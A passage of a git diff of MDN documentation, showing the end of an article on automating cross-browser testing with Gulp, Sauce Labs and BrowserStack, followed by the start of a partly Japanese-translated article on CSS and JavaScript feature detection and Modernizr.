href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">fat arrow function</a>, which babel has modified into an old style function.</p> + +<h4 id="Further_ideas">Further ideas</h4> + +<p>Once all this is all set up, you can run the <code>gulp</code> command inside your project directory, and you should get an output like this:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14227/gulp-output.png" style="display: block; height: 478px; margin: 0px auto; width: 697px;"></p> + +<p>You can then try out the files output by your automated tasks by looking at them inside the <code>build</code> directory, and loading <code>build/index.html</code> in your web browser.</p> + +<p>If you get errors, check that you've added all the dependencies and the tests as shown above; also try commenting out the HTML/CSS/JavaScript code sections and then rerunning gulp to see if you can isolate what the problem is.</p> + +<p>Gulp comes with a <code>watch()</code> function that you can use to watch your files and run tests whenever you save a file. For example, try adding the following to the bottom of your <code>gulpfile.js</code>:</p> + +<pre class="brush: js">gulp.task('watch', function(){ + gulp.watch('src/*.html', ['html']); + gulp.watch('src/*.css', ['css']); + gulp.watch('src/*.js', ['js']); +});</pre> + +<p>Now try entering the <code>gulp watch</code> command into your terminal. Gulp will now watch your directory, and run the appropriate tasks whenever you save a change to an HTML, CSS, or JavaScript file.</p> + +<div class="note"> +<p><strong>Note</strong>: The <code>*</code> character is a wildcard character — here we're saying "run these tasks when any files of these types are saved. You could also use wildcards in your main tasks, for example <code>gulp.src('src/*.css')</code> would grab all your CSS files and then run piped tasks on them.</p> +</div> + +<div class="note"> +<p><strong>Note</strong>: One problem with our watch command above is that our CSSLint/Autoprefixer combination throws full-blown errors when a CSS error is encountered, which stops the watch working. You'll have to restart the watch once a CSS error is encountered, or find another way to do this.</p> +</div> + +<p>There's a lot more you can do with Gulp. The <a href="http://gulpjs.com/plugins/">Gulp plugin directory</a> has literally thousands of plugins to search through.</p> + +<h3 id="Other_task_runners">Other task runners</h3> + +<p>There are many other task runners available. We certainly aren't trying to say that Gulp is the best solution out there, but it works for us and it is fairly accessible to beginners. You could also try using other solutions:</p> + +<ul> + <li>Grunt works in a very similar way to Gulp, except that it relies on tasks specified in a config file, rather than using written JavaScript. See <a href="http://gruntjs.com/getting-started">Getting started with Grunt for more details.</a></li> + <li>You can also run tasks directly using npm scripts located inside your <code>package.json</code> file, without needing to install any kind of extra task runner system. This works on the premise that things like Gulp plugins are basically wrappers around command line tools. So, if you can work out how to run the tools using the command line, you can then run them using npm scripts. It is a bit trickier to work with, but can be rewarding for those who are strong with their command line skills.<a href="https://css-tricks.com/why-npm-scripts/"> Why npm scripts?</a> provides a good introduction with a good deal of further information.</li> +</ul> + +<h2 id="Using_commercial_testing_services_to_speed_up_browser_testing">Using commercial testing services to speed up browser testing</h2> + +<p>Now let's look at commercial 3rd party browser testing services and what they can do for us.</p> + +<p>The basic premise with such applications is that the company that runs each one has a huge server farm that can run many different tests. When you use this service, you provide a URL of the page you want to test along with information, such as what browsers you want it tested in. The app then configures a new VM with the OS and browser you specified, and returns the test results in the form of screenshots, videos, logfiles, text, etc.</p> + +<p>You can then step up a gear, using an API to access functionality programmatically, which means that such apps can be combined with task runners, such as your own local Selenium environments and others, to create automated tests.</p> + +<div class="note"> +<p><strong>Note</strong>: There are other commercial browser testing systems available but in this article, we'll focus on Sauce Labs and BrowserStack. We're not saying that these are necessarily the best tools available, but they are good ones that are simple for beginners to get up and running with.</p> +</div> + +<h3 id="Sauce_Labs">Sauce Labs</h3> + +<h4 id="Getting_started_with_Sauce_Labs">Getting started with Sauce Labs</h4> + +<p>Let's get started with a Sauce Labs Trial.</p> + +<ol> + <li>Create a <a href="https://saucelabs.com/signup/trial">Sauce Labs trial account</a>.</li> + <li>Sign in. This should happen automatically after you verify your e-mail address.</li> +</ol> + +<h4 id="The_basics_Manual_tests">The basics: Manual tests</h4> + +<p>The <a href="https://saucelabs.com/beta/dashboard/manual">Sauce Labs dashboard</a> has a lot of options available on it. For now, make sure you are on the <em>Manual Tests</em> tab.</p> + +<ol> + <li>Click <em>Start a new manual session</em>.</li> + <li>In the next screen, type in the URL of a page you want to test (use <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box-fixed.html">http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box-fixed.html</a>, for example), then choose a browser/OS combination you want to test by using the different buttons and lists. There is a lot of choice, as you'll see! <img alt="" src="https://mdn.mozillademos.org/files/14229/sauce-manual-session.png" style="border-style: solid; border-width: 1px; display: block; height: 636px; margin: 0px auto; width: 600px;"></li> + <li>When you click Start session, a loading screen will then appear, which spins up a virtual machine running the combination you chose.</li> + <li>When loading has finished, you can then start to remotely test the web site running in the chosen browser. <img alt="" src="https://mdn.mozillademos.org/files/14231/sauce-test-running.png" style="display: block; height: 390px; margin: 0px auto; width: 800px;"></li> + <li>From here you can see the layout as it would look in the browser you are testing, move the mouse around and try clicking buttons, etc. The top menu allows you to: + <ul> + <li>Stop the session</li> + <li>Give someone else a URL so they can observe the test remotely.</li> + <li>Copy text/notes to a remote clipboard.</li> + <li>Take a screenshot.</li> + <li>Test in full screen mode.</li> + </ul> + </li> +</ol> + +<p>Once you stop the session, you'll return to the Manual Tests tab, where you'll see an entry for each of the previous manual sessions you started. Clicking on one of these entries shows more data for the session. In here you can download any screenshots you took , watch a video of the session, and view data logs for the session for example.</p> + +<div class="note"> +<p><strong>Note</strong>: This is already very useful, and way more convenient than having to set up all these emulators and virtual machines by yourself.</p> +</div> + +<h4 id="Advanced_The_Sauce_Labs_API">Advanced: The Sauce Labs API</h4> + +<p>Sauce Labs has a <a href="https://wiki.saucelabs.com/display/DOCS/The+Sauce+Labs+REST+API">restful API</a> that allows you to programmatically retrieve details of your account and existing tests, and annotate tests with further details, such as their pass/fail state which isn't recordable by manual testing alone. For example, you might want to run one of your own Selenium tests remotely using Sauce Labs, to test a certain browser/OS combination, and then pass the test results back to Sauce Labs.</p> + +<p>It has several clients available to allow you to make calls to the API using your favourite environment, be it PHP, Java, Node.js, etc.</p> + +<p>Let's have a brief look at how we'd access the API using Node.js and <a href="https://github.com/danjenkins/node-saucelabs">node-saucelabs</a>.</p> + +<ol> + <li>First, set up a new npm project to test this out, as detailed in {{anch("Setting up Node and npm")}}. Use a different directory name than before, like <code>sauce-test</code> for example.</li> + <li>Install the Node Sauce Labs wrapper using the following command: + <pre>npm install saucelabs</pre> + </li> + <li>Create a new file inside your project root called <code>call_sauce.js</code>. give it the following contents: + <pre class="brush: js">var SauceLabs = require('saucelabs'); + +var myAccount = new SauceLabs({ + username: "your-sauce-username", + password: "your-sauce-api-key" +}); + +myAccount.getAccountDetails(function (err, res) { + console.log(res); + myAccount.getServiceStatus(function (err, res) { + // Status of the Sauce Labs services + console.log(res); + myAccount.getJobs(function (err, jobs) { + // Get a list of all your jobs + for (var k in jobs) { + if ( jobs.hasOwnProperty( k )) { + myAccount.showJob(jobs[k].id, function (err, res) { + var str = res.id + ": Status: " + res.status; + if (res.error) { + str += "\033[31m Error: " + res.error + " \033[0m"; + } + console.log(str); + }); + } + } + }); + }); +});</pre> + </li> + <li>You'll need to fill in your Sauce Labs username and API key in the indicated places. These can be retrieved from your <a href="https://saucelabs.com/beta/user-settings">User Settings</a> page. Fill these in now.</li> + <li>Make sure everything is saved, and run your file like so: + <pre class="brush: bash">node call_sauce</pre> + </li> +</ol> + +<h4 id="Advanced_Automated_tests">Advanced: Automated tests</h4> + +<p>We'll cover actually running automated Sauce Lab tests in the next article.</p> + +<h3 id="BrowserStack">BrowserStack</h3> + +<h4 id="Getting_started_with_BrowserStack">Getting started with BrowserStack</h4> + +<p>Let's get started with a BrowserStack Trial.</p> + +<ol> + <li>Create a <a href="https://www.browserstack.com/users/sign_up">BrowserStack trial account</a>.</li> + <li>Sign in. This should happen automatically after you verify your e-mail address.</li> + <li>When you first sign in, you should be on the Live testing page; if not, click the <em>Live</em> link in the top nav menu.</li> + <li>If you are on Firefox or Chrome, you'll be prompted to Install a browser extension in a dialog titled "Enable Local Testing" — click the <em>Install</em> button to proceed. If you are on other browsers you'll still be able to use some of the features (generally via Flash), but you won't get the full experience.</li> +</ol> + +<h4 id="The_basics_Manual_tests_2">The basics: Manual tests</h4> + +<p>The BrowserStack Live dashboard allows you to choose what device and browser you want to test on — Platforms in the left column, devices on the right. When you mouse over or click on each device, you get a choice of browsers available on that device.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15377/browserstack-test-choices-sized.png" style="border-style: solid; border-width: 1px; display: block; height: 339px; margin: 0px auto; width: 700px;"></p> + +<p>Clicking on one of those browser icons will load up your choice of platform/device/browser — choose one now, and give it a try.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15379/browserstack-test-device-sized.png" style="border-style: solid; border-width: 1px; display: block; height: 841px; margin: 0px auto; width: 450px;"></p> + +<div class="note"> +<p><strong>Note</strong>: The blue device icon next to some of the mobile device choices signals that you will be testing on a real device; choices without that icon will be run on an emulator.</p> +</div> + +<p>You'll find that you can enter URLs into the address bar, and use the other controls like you'd expect on a real device. You can even do things like copy and paste from the device to your clipboard, scroll up and down by dragging with the mouse, or use appropriate gestures (e.g. pinch/zoom, two fingers to scroll) on the touchpads of supporting devices (e.g. Macbook). Note that not all features are available on all devices.</p> + +<p>You'll also see a menu that allows you to control the session.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15381/browserstack-test-menu-sized.png" style="border-style: solid; border-width: 1px; display: block; height: 636px; margin: 0px auto; width: 217px;"></p> + +<p>The features here are as follows:</p> + +<ul> + <li><em>Switch</em> — Change to another platform/device/browser combination.</li> + <li>Orientation (looks like a Reload icon) — Switch orientation between portrait and landscape.</li> + <li>Fit to screen (looks like a full screen icon) — Fill the testing areas as much as possible with the device.</li> + <li>Capture a bug (looks like a camera) — Takes a screenshot, then allows you to annotate and save it.</li> + <li>Issue tracker (looks like a deck of cards) — View previously captured bugs/screenshots.</li> + <li>Settings (cog icon) — Allows you to alter general settings for the session.</li> + <li>Help (question mark) — Accesses help/support functions.</li> + <li><em>Devtools</em> — Allows you to use your browser's devtools to directly debug or manipulate the page being shown in the test browser. This currently only works when testing the Safari browser on iOS devices.</li> + <li><em>Device info</em> — Displays information about the testing device.</li> + <li><em>Features</em> — Shows you what features the current configuration supports, e.g. copy to clipboard, gesture support, etc.</li> + <li><em>Stop</em> — Ends the session.</li> +</ul> + +<div class="note"> +<p><strong>Note</strong>: This is already very useful, and way more convenient than having to set up all these emulators and virtual machines by yourself.</p> +</div> + +<h4 id="Other_basic_features">Other basic features</h4> + +<p>If you go back to the main BrowserStack page, you'll find a couple of other useful basic features under the <em>More</em> menu option:</p> + +<ul> + <li><em>Responsive</em>: Enter a URL and press <em>Generate</em>, and BrowserStack will load that URL on multiple devices with different viewport sizes. Within each device you can further adjust settings like monitor size, to get a good idea of how your site's layout works across different form factors.</li> + <li><em>Screenshots</em>: Enter a URL, choose the browsers/devices/platforms you are interested in, then press <em>Generate screenshots</em> — Browserstack will take screenshots of your site in all those different browsers then make them available to you to view and download.</li> +</ul> + +<h4 id="Advanced_The_BrowserStack_API">Advanced: The BrowserStack API</h4> + +<p>BrowserStack also has a <a href="https://www.browserstack.com/automate/rest-api">restful API</a> that allows you to programmatically retrieve details of your account plan, sessions, builds, etc.</p> + +<p>It has several clients available to allow you to make calls to the API using your favourite environment, be it PHP, Java, Node.js, etc.</p> + +<p>Let's have a brief look at how we'd access the API using Node.js.</p> + +<ol> + <li>First, set up a new npm project to test this out, as detailed in {{anch("Setting up Node and npm")}}. Use a different directory name than before, like <code>bstack-test</code> for example.</li> + <li>Create a new file inside your project root called <code>call_bstack.js</code>. give it the following contents: + <pre class="brush: js">var request = require("request"); + +var bsUser = "BROWSERSTACK_USERNAME"; +var bsKey = "BROWSERSTACK_ACCESS_KEY"; +var baseUrl = "https://" + bsUser + ":" + bsKey + "@www.browserstack.com/automate/"; + +function getPlanDetails(){ + request({uri: baseUrl + "plan.json"}, function(err, res, body){ + console.log(JSON.parse(body)); + }); + /* Response: + { + automate_plan: <string>, + parallel_sessions_running: <int>, + team_parallel_sessions_max_allowed: <int>, + parallel_sessions_max_allowed: <int>, + queued_sessions: <int>, + queued_sessions_max_allowed: <int> + } + */ +} + +getPlanDetails(); +</pre> + </li> + <li>You'll need to fill in your BrowserStack username and API key in the indicated places. These can be retrieved from your <a href="https://www.browserstack.com/automate">BrowserStack automation dashboard</a>. Fill these in now.</li> + <li>Make sure everything is saved, and run your file like so: + <pre class="brush: bash">node call_bstack</pre> + </li> +</ol> + +<p>Below we've also provided some other ready-made functions you might find useful when working with the BrowserStack restful API.</p> + +<pre class="brush: js">function getBuilds(){ + request({uri: baseUrl + "builds.json"}, function(err, res, body){ + console.log(JSON.parse(body)); + }); + /* Response: + [ + { + automation_build: { + name: <string>, + duration: <int>, + status: <string>, + hashed_id: <string> + } + }, + { + automation_build: { + name: <string>, + duration: <int>, + status: <string>, + hashed_id: <string> + } + }, + ... + ] + */ +}; + +function getSessionsInBuild(build){ + var buildId = build.automation_build.hashed_id; + request({uri: baseUrl + "builds/" + buildId + "/sessions.json"}, function(err, res, body){ + console.log(JSON.parse(body)); + }); + /* Response: + [ + { + automation_session: { + name: <string>, + duration: <int>, + os: <string>, + os_version: <string>, + browser_version: <string>, + browser: <string>, + device: <string>, + status: <string>, + hashed_id: <string>, + reason: <string>, + build_name: <string>, + project_name: <string>, + logs: <string>, + browser_url: <string>, + public_url: <string>, + video_url: <string>, + browser_console_logs_url: <string>, + har_logs_url: <string> + } + }, + { + automation_session: { + name: <string>, + duration: <int>, + os: <string>, + os_version: <string>, + browser_version: <string>, + browser: <string>, + device: <string>, + status: <string>, + hashed_id: <string>, + reason: <string>, + build_name: <string>, + project_name: <string>, + logs: <string>, + browser_url: <string>, + public_url: <string>, + video_url: <string>, + browser_console_logs_url: <string>, + har_logs_url: <string> + } + }, + ... + ] + */ +} + +function getSessionDetails(session){ + var sessionId = session.automation_session.hashed_id; + request({uri: baseUrl + "sessions/" + sessionId + ".json"}, function(err, res, body){ + console.log(JSON.parse(body)); + }); + /* Response: + { + automation_session: { + name: <string>, + duration: <int>, + os: <string>, + os_version: <string>, + browser_version: <string>, + browser: <string>, + device: <string>, + status: <string>, + hashed_id: <string>, + reason: <string>, + build_name: <string>, + project_name: <string>, + logs: <string>, + browser_url: <string>, + public_url: <string>, + video_url: <string>, + browser_console_logs_url: <string>, + har_logs_url: <string> + } + } + */ +}</pre> + +<h4 id="Advanced_Automated_tests_2">Advanced: Automated tests</h4> + +<p>We'll cover actually running automated BrowserStack tests in the next article.</p> + +<h2 id="Summary">Summary</h2> + +<p>This was quite a ride, but I'm sure you can start to see the benefit in having automation tools do a lot of the heavy lifting for you in terms of testing.</p> + +<p>In the next article, we'll look at setting up our own local automation system using Selenium, and how to combine that with services such as Sauce Labs and BrowserStack</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> + +<p> </p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Introduction to cross browser testing</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Strategies for carrying out testing</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Handling common HTML and CSS problems</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Handling common JavaScript problems</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Handling common accessibility problems</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Implementing feature detection</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Introduction to automated testing</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Setting up your own test automation environment</a></li> +</ul> + +<p> </p> diff --git a/files/ja/learn/tools_and_testing/cross_browser_testing/feature_detection/index.html b/files/ja/learn/tools_and_testing/cross_browser_testing/feature_detection/index.html new file mode 100644 index 0000000000..1de223efa2 --- /dev/null +++ b/files/ja/learn/tools_and_testing/cross_browser_testing/feature_detection/index.html @@ -0,0 +1,357 @@ +--- +title: 機能検出の実装 +slug: Learn/Tools_and_testing/Cross_browser_testing/Feature_detection +tags: + - Article + - Beginner + - CSS + - CodingScripting + - JavaScript + - Learn + - Modernizr + - Testing + - Tools + - cross browser + - feature detection + - 機能検出 +translation_of: Learn/Tools_and_testing/Cross_browser_testing/Feature_detection +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Accessibility","Learn/Tools_and_testing/Cross_browser_testing/Automated_testing", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> + +<p class="summary">機能検出は、あるブラウザーがあるコードのブロックに対応しているかどうかを調べ、対応しているか (またはしていないか) に応じて異なるコードを実行することで、ブラウザーが常に動作し、ブラウザーによってクラッシュやエラーが発生しないようにします。この記事では、独自の単純な機能検出の書き方、実装をスピードアップするためのライブラリの使い方、 <code>@supports</code> などの機能検出のためのネイティブ機能について詳しく説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>主要な <a href="/ja/docs/Learn/HTML">HTML</a>、<a href="/ja/docs/Learn/CSS">CSS</a>、および <a href="/ja/docs/Learn/JavaScript">JavaScript</a> 言語に精通していること。<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">クロスブラウザテストの原則</a>の高水準のアイデア。</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>機能検出の概念について理解し、CSS と JavaScript で適切な解決方法を実装できるようにする。</td> + </tr> + </tbody> +</table> + +<h2 id="The_concept_of_feature_detection" name="The_concept_of_feature_detection">機能検出の概念</h2> + +<p>機能検出の根底にあるアイデアは、プログラムを実行中のブラウザーがある特定の機能に対応しているかを確かめ、その結果に応じて異なるコードを実行するということで、対応ブラウザーと非対応ブラウザーのいずれでも許容できる挙動となるようにすることです。もしこの対策をしなければ、その特定の機能に対応していないブラウザーではあなたのサイトが正常に表示されなかったり、エラーを起こしてユーザーの体験を悪化させるでしょう。</p> + +<p>それでは、私たちが <a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#Feature_detection">Handling common JavaScript problems</a> で触れた例を振り返ってみましょう。<a href="/ja/docs/Web/API/Geolocation/Using_geolocation">Geolocation API</a> (ブラウザーを実行している端末の位置情報を返します)は、 <a href="/ja/docs/Web/API/Navigator">Navigator</a> オブジェクトに含まれる <code>geolocation</code> プロパティを主なエントリーポイントとして持っています。そこで、以下のようにしてブラウザーが位置情報機能に対応しているかどうかを検出できます。</p> + +<pre class="language-js notranslate">if ("geolocation" in navigator) { + navigator.geolocation.getCurrentPosition(function(position) { + // Google Maps API を用いて現在位置をマップ上に表示します + }); +} else { + // 位置情報がなくてもマップを表示できるようにします +}</pre> + +<p>しかし、機能検出のためのコードを毎回自分で書くよりも、確立された既存の機能検出ライブラリを使うほうが良いでしょう。この用途では Modernizr が一般に利用されています。Modernizr には後ほど触れます。</p> + +<p>次に進む前にもう1つお伝えさせてください。機能検出と<strong>ブラウザー検出</strong>(サイトにアクセスしているブラウザーの種類の検出)を混同しないでください。これはいかなる場合にも避けられるべき悪しき風習です。詳しくは <a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#Using_bad_browser_sniffing_code">Using bad browser sniffing code</a> を参照してください。</p> + +<h2 id="Writing_your_own_feature_detection_tests">Writing your own feature detection tests</h2> + +<p>In this section, we'll look at implementing your own feature detection tests, in both CSS and JavaScript.</p> + +<h3 id="CSS">CSS</h3> + +<p>You can write tests for CSS features by testing for the existence of <em><a href="/ja/docs/Web/API/HTMLElement/style">element.style.property</a></em> (e.g. <code>paragraph.style.transform</code>) in JavaScript.</p> + +<p>A classic example might be to test for <a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a> support in a browser; for browsers that support the newest Flexbox spec, we could use a flexible and robust flex layout. For browsers that don't, we could use a floated layout that works OK, although it is slightly more brittle and hacky, and not as cool-looking.</p> + +<p>Let's implement something that demonstrates this, although we'll keep it simple for now.</p> + +<ol> + <li>Start by making local copies of our <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/css-feature-detect.html">css-feature-detect.html</a></code>, <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/flex-layout.css">flex-layout.css</a></code>, <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/float-layout.css">float-layout-css</a></code>, and <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/basic-styling.css">basic-styling.css</a></code> files. Save them in a new directory.</li> + <li>We will add the HTML5 Shiv to our example too so that the HTML5 semantic elements will style properly in older versions of IE. Download the latest version (see <a href="https://github.com/aFarkas/html5shiv#manual-installation">Manual installation</a>), unzip the ZIP file, copy the <code>html5shiv-printshiv.min.js</code> and <code>html5shiv.min.js</code> files into your example directory, and link to one of the files by putting the following under your {{htmlelement("title")}} element: + <pre class="notranslate"><script src="html5shiv.min.js"></script></pre> + </li> + <li>Have a look at your example CSS files — you'll see that <code>basic-styling.css</code> handles all the styling that we want to give to every browser, whereas the other two CSS files contain the CSS we want to selectively apply to browser depending on their support levels. You can look at the different effects these two files they have by manually changing the CSS file referred to by the second {{htmlelement("link")}} element, but let's instead implement some JavaScript to automatically swap them as needed.</li> + <li>First, remove the contents of the second <code><link></code> element's <code>href</code> attribute. We will fill this in dynamically later on.</li> + <li>Next, add a <code><script></script></code> element at the bottom of your body (just before the closing <code></body></code> tag).</li> + <li>Give it the following contents: + <pre class="brush: js notranslate">const conditional = document.querySelector('.conditional'); +const testElem = document.createElement('div'); +if (testElem.style.flex !== undefined && testElem.style.flexFlow !== undefined) { + conditional.setAttribute('href', 'flex-layout.css'); +} else { + conditional.setAttribute('href', 'float-layout.css'); +}</pre> + </li> +</ol> + +<p>Here we are grabbing a reference to the second <code><link></code> element, and creating a <code><div></code> element as part of our test. In our conditional statement, we test that the {{cssxref("flex")}} and {{cssxref("flex-flow")}} properties exist in the browser. Note how the JavaScript representations of those properties that are stored inside the {{domxref("HTMLElement.style")}} object use lower camel case, not hyphens, to separate the words.</p> + +<div class="note"> +<p><strong>Note</strong>: If you have trouble getting this to work, you can compare it to our <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/css-feature-detect-finished.html">css-feature-detect-finished.html</a> code (see also the <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/feature-detection/css-feature-detect-finished.html">live version</a>).</p> +</div> + +<p>When you save everything and try out your example, you should see the flexbox layout applied to the page if the browser supports modern flexbox, and the float layout if not.</p> + +<div class="note"> +<p><strong>Note</strong>: Often such an approach is overkill for a minor feature detection problem — you can often get away with using multiple vendor prefixes and fallback properties, as described in <a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#CSS_fallback_behaviour">CSS fallback behavior</a> and <a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#Handling_CSS_prefixes">Handling CSS prefixes</a>.</p> +</div> + +<h4 id="supports">@supports</h4> + +<p>In recent times, CSS has had its own native feature detection mechanism introduced — the {{cssxref("@supports")}} at-rule. This works in a similar manner to <a href="/ja/docs/Web/CSS/Media_Queries">media queries</a> (see also <a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#Responsive_design_problems">Responsive design problems</a>) — except that instead of selectively applying CSS depending on a media feature like a resolution, screen width or aspect ratio, it selectively applies CSS depending on whether a CSS feature is supported.</p> + +<p>For example, we could rewrite our previous example to use <code>@supports</code> — see <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/supports-feature-detect.html">supports-feature-detect.html</a></code> and <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/supports-styling.css">supports-styling.css</a></code>. If you look at the latter, you'll see a couple of <code>@supports</code> blocks, for example:</p> + +<pre class="brush: css notranslate">@supports (flex-flow: row) and (flex: 1) { + + main { + display: flex; + } + + main div { + padding-right: 4%; + flex: 1; + } + + main div:last-child { + padding-right: 0; + } + +}</pre> + +<p>This at-rule block applies the CSS rule within only if the current browser supports both the <code>flex-flow: row</code> and <code>flex: 1</code> declarations. For each condition to work, you need to include a complete declaration (not just a property name) and NOT include the semi-colon on the end.</p> + +<p><code>@supports</code> also has <code>OR</code> and <code>NOT</code> logic available — the other block applies the float layout if the flexbox properties are not available:</p> + +<pre class="brush: css notranslate">@supports not (flex-flow: row) and (flex: 1) { + + /* rules in here */ + +}</pre> + +<p>This may look a lot more convenient than the previous example — we can do all of our feature detection in CSS, no JavaScript required, and we can handle all the logic in a single CSS file, cutting down on HTTP requests. the problem here is browser support — <code>@supports</code> is not supported at all in IE, and only supported in very recent versions of Safari/iOS WebKit (9+/9.2+), whereas the JavaScript version should work in much older browsers (probably back to IE8 or 9, although older versions of IE will have additional problems, such as not supporting {{domxref("Document.querySelector")}}, and having a messed up box model).</p> + +<h3 id="JavaScript">JavaScript</h3> + +<p>We already saw an example of a JavaScript feature detection test earlier on. Generally, such tests are done via one of the following common patterns:</p> + +<table class="standard-table"> + <caption>Summary of JavaScript feature detection techniques</caption> + <thead> + <tr> + <th scope="col">Feature detection type</th> + <th scope="col">Explanation</th> + <th scope="col">Example</th> + </tr> + </thead> + <tbody> + <tr> + <td><em>If member in object</em></td> + <td>Check whether a certain method or property (typically an entry point into using the API or other feature you are detecting for) exists in its parent Object.</td> + <td> + <p><code>if("geolocation" in navigator) { ... }</code></p> + </td> + </tr> + <tr> + <td><em>Property on element</em></td> + <td>Create an element in memory using {{domxref("Document.createElement()")}} and then check if a property exists on it. The example shown is a way of detecting <a href="/ja/docs/Web/API/Canvas_API">HTML5 Canvas</a> support.</td> + <td><code>function supports_canvas() {<br> + return !!document.createElement('canvas').getContext;<br> + }<br> + <br> + if(supports_canvas()) { ... }</code></td> + </tr> + <tr> + <td><em>Method on element return value</em></td> + <td>Create an element in memory using {{domxref("Document.createElement()")}} and then check if a method exists on it. If it does, check what value it returns.</td> + <td>See <a href="http://diveinto.html5doctor.com/detect.html#video-formats">Dive Into HTML5 Video Formats detection</a> test.</td> + </tr> + <tr> + <td><em>Property on element retains value</em></td> + <td>Create an element in memory using {{domxref("Document.createElement()")}}, set a property to a certain value, then check to see if the value is retained.</td> + <td>See <a href="http://diveinto.html5doctor.com/detect.html#input-types">Dive into HTML5 <code><input></code> types detection</a> test.</td> + </tr> + </tbody> +</table> + +<div class="note"> +<p><strong>Note</strong>: The double <code>NOT</code> in the above example (<code>!!</code>) is a way to force a return value to become a "proper" boolean value, rather than a {{glossary("Truthy")}}/{{glossary("Falsy")}} value that may skew the results.</p> +</div> + +<p>The <a href="http://diveinto.html5doctor.com/detect.html">Dive into HTML5 Detecting HTML5 Features</a> page has a lot more useful feature detection tests besides the ones listed above, and you can generally find a feature detection test for most things by searching for "detect support for YOUR-FEATURE-HERE" in your favorite search engine. Bear in mind though that some features, however, are known to be undetectable — see Modernizr's list of <a href="https://github.com/Modernizr/Modernizr/wiki/Undetectables">Undetectables</a>.</p> + +<h4 id="matchMedia">matchMedia</h4> + +<p>We also wanted to mention the {{domxref("Window.matchMedia")}} JavaScript feature at this point too. This is a property that allows you to run media query tests inside JavaScript. It looks like this:</p> + +<pre class="brush: js notranslate">if (window.matchMedia("(max-width: 480px)").matches) { + // run JavaScript in here. +}</pre> + +<p>As an example, our <a href="https://github.com/chrisdavidmills/snapshot">Snapshot</a> demo makes use of it to selectively apply the Brick JavaScript library and use it to handle the UI layout, but only for the small screen layout (480px wide or less). We first use the <code>media</code> attribute to only apply the Brick CSS to the page if the page width is 480px or less:</p> + +<pre class="brush: css notranslate"><link href="dist/brick.css" type="text/css" rel="stylesheet" media="all and (max-width: 480px)"></pre> + +<p>We then use <code>matchMedia()</code> in the JavaScript several times, to only run Brick navigation functions if we are on the small screen layout (in wider screen layouts, everything can be seen at once, so we don't need to navigate between different views).</p> + +<pre class="brush: js notranslate">if (window.matchMedia("(max-width: 480px)").matches) { + deck.shuffleTo(1); +}</pre> + +<h2 id="Using_Modernizr_to_implement_feature_detection">Using Modernizr to implement feature detection</h2> + +<p>It is possible to implement your own feature detection tests using techniques like the ones detailed above. You might as well use a dedicated feature detection library however, as it makes things much easier. The mother of all feature detection libraries is <a href="https://modernizr.com/">Modernizr</a>, and it can detect just about everything you'll ever need. Let's look at how to use it now.</p> + +<p>When you are experimenting with Modernizr you might as well use the development build, which includes every possible feature detection test. Download this now by:</p> + +<ol> + <li>Clicking on the <a href="https://modernizr.com/download?do_not_use_in_production">Development build</a> link.</li> + <li>Clicking the big pink <em>Build</em> button on the page that comes up.</li> + <li>Clicking the top <em>Download</em> link in the dialog box that appears.</li> +</ol> + +<p>Save it somewhere sensible, like the directory you've been creating your other examples for in this article.</p> + +<p>When you are using Modernizr in production, you can go to the <a href="https://modernizr.com/download">Download page</a> you've already visited and click the plus buttons for only the features you need feature detects for. Then when you click the <em>Build</em> button, you'll download a custom build containing only those feature detects, making for a much smaller file size.</p> + +<h3 id="CSS_2">CSS</h3> + +<p>Let's have a look at how Modernizr works in terms of selectively applying CSS.</p> + +<ol> + <li>First, make a copy of <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/supports-feature-detect.html">supports-feature-detect.html</a></code> and <code><a 